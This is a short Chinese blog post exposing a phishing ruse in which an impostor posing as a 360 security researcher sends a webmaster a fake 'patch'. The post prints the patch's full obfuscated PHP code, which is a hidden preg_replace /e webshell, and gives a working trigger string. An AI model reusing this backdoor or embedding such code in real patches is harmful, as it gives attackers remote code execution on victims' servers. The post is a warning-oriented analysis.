如何利用釣魚黑吃黑

0x00 前言

15年10月寫的文章，今天無意翻到了，就剛好貼在部落格吧。

部落格也很久沒更新了。

0x01 釣魚模式

0x02 神奇補丁程式

這是所謂的安全工程師發給網管的安全的程式碼。

1000000){  die('404');}if (isset($_POST["\x70\x61\x73\x73"]) && isset($_POST["\x63\x68\x65\x63\x6b"])){  $__PHP_debug   = array (    'ZendName' => '70,61,73,73',     'ZendPort' => '63,68,65,63,6b',    'ZendSalt' => '202cb962ac59075b964b07152d234b70'  //792e19812fafd57c7ac150af768d95ce  );   $__PHP_replace = array (    pack('H*', join('', explode(',', $__PHP_debug['ZendName']))),    pack('H*', join('', explode(',', $__PHP_debug['ZendPort']))),    $__PHP_debug['ZendSalt']  );  $__PHP_request = &$_POST;  $__PHP_token   = md5($__PHP_request[$__PHP_replace[0]]);   if ($__PHP_token == $__PHP_replace[2])  {    $__PHP_token = preg_replace (      chr(47).$__PHP_token.chr(47).chr(101),      $__PHP_request[$__PHP_replace[1]],      $__PHP_token    );     unset (      $__PHP_debug,      $__PHP_replace,      $__PHP_request,      $__PHP_token    );     if(!defined('_DEBUG_TOKEN')) exit ('Get token fail!');   }}

代碼我已經將792e19812fafd57c7ac150af768d95ce這個md5換成了123的md5 202cb962ac59075b964b07152d234b70

這個代碼一看，如果之前沒接觸過類似的代碼，應該會有很多人會認為：這個代碼搞啥玩兒，php核心？

乍眼看，應該沒什麼後門

百度搜尋一下792e19812fafd57c7ac150af768d95ce，看快照，可以發現

最後解密出來其實是利用preg_replace的/e來執行的一句話webshell。

利用方式：pass=123&check=phpinfo();

釣魚的代碼還有以下幾種：

有的駭客將後門代碼放在 掃描木馬後門 的程式裡。特別的猥瑣

0x03 具體釣魚

下面是一個駭客釣魚的真實情境。先看下黑闊的背景身份。

1. 偽裝安全工程師

個人首頁： http://loudong.360.cn/vul/profile/uid/2822960/

偽裝成360補天的一名白帽子，並且把自己QQ地址寫成360公司的地址

但是駭客卻以為補天的白帽子就是360的員工

不過站長也確實信了他360的身份。因為改的備忘是 360安全小組

1. 強調補丁的強大

用了補丁代碼，*地址立馬404。還用chattr +i 設定檔案為read only

0x04 總結

安全，從我做起

